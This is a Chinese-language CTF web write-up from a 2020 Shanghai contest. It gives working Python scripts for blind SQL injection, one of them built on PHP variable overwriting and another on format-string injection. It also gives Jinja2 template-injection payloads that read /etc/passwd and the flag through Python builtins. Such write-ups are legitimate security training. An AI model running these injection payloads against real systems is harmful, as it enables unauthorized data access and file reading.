首页 > 技术文章 > 2020上海市网络安全大赛 web writeup

W4nder 2020-11-16 08:51 原文

原文:http://phoebe233.cn/?p=355

千毒网盘|2

www.zip源码,变量覆盖
图片
https://blog.csdn.net/weixin_30258901/article/details/96605162

POST /?_POST[code]=select
code=select

$_GET,$_POST如下

array(1) {
	["_POST"]=>
	array(1) {
	["code"]=>
	  string(6) "select"
	}
}
array(1) {
	["code"]=>{
	  string(6) "select"
	}
}

由于$$key_2 == $value_2使得POST的值被unset了,绕过waf,后面再次extract造成变量覆盖
然后是布尔盲注,这里用--+代替#,不然

if($code === False) return '非法提取码!';

然后写脚本的时候要注意python requests库的编码问题

import requests
import string
url="http://eci-2zehpt4jc1z3f9vgcraf.cloudeci1.ichunqiu.com/index.php"
text=''
proxies={
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
headers = {
    "Content-Type":"application/x-www-form-urlencoded"
}
for i in range(1,200):
    l=28
    h=126
    while abs(h - l) > 1:
        m=(l+h)/2
        pay="select flag from flag"
        #pay="database()"
        e = "(ascii(mid(({}),{},1)))>{}".format(pay, i, m)
        data = "code=114514'and if(({}),1,0)--+".format(e)
        #print(data)
        #print(url+"?_POST[code]="+data['code'])
        re=requests.post(url+"?_POST[code]="+data.strip('code='),data=data,headers=headers)
        #print(re.text)
        #print(data)
        #exit()
        if 'http://gamectf.com/p/CGBU.png' in re.text:
            l=m
        else:
            h=m
    mid_num = int((l + h + 1) / 2)
    text += chr(int(h))
    print(text)

图片

TryToLogin

图片

格式化字符串注入

https://www.cnblogs.com/test404/p/7821884.html

import requests
import string
url="http://eci-2ze4elsbeer15p6dsvx2.cloudeci1.ichunqiu.com/index.php"
text=''
proxies={
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
headers = {
    "Content-Type":"application/x-www-form-urlencoded"
}
for i in range(1,200):
    l=28
    h=126
    while abs(h - l) > 1:
        m=(l+h)/2
        pay="select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()"
        pay="select * from fl4g"
        e = "(ascii(mid(({}),{},1)))>{}".format(pay, i, m)
        data ="password=%1$'||if(({}),1,0)--+".format(e)+'&username=admin'
        re=requests.post(url,data=data,headers=headers)
        if '登录成功了' in re.text:
            l=m
        else:
            h=m
    text += chr(int(h))
    print(text)

图片

Hello

from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
    name = request.args.get("name") or ""
    print(name)
    if name:
        return render_template('index.html',name=name)
    else:
        return render_template('index.html')

@app.route('/help',methods=['GET'])
def help():
    help = '''
    '''
        return f.read()
@app.errorhandler(404)
def page_not_found(e):
    os.system('rm -f /flag')
    url = name = request.args.get("name") or ""
    # r = request.path
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    return render_template(t), 404
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8888)

文件没有close,所以该文件仍然存在于linux进程中
http://www.pdsdt.lovepdsdt.com/index.php/2020/05/17/249/

过滤{{,使用{%进行盲注

图片

import requests
import string
url = 'http://eci-2ze006f3h1dkgrldoskz.cloudeci1.ichunqiu.com:8888/a'
headers={
    'Content-Type':'application/json'
}
def check(payload):
    r = requests.post(url, data=payload,headers=headers).text
    return '~p0~' in r
password  = ''
sa=string.printable
#print(s)
for i in range(0,100):
    for c in sa:
        payload='{% if self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/proc/self/fd/3").read()[' + str(i) + ':' + str(
            i + 1) + '] == "' + c + '" %}~p0~{% endif %}'
        #print(payload)
        if check(payload):
            password += c
            break
    print(password)

图片
赛后看了其他解,发现这里貌似不用盲注,可以直接

{%print request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()%}

然后在输出全局变量中的flag

{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}

推荐阅读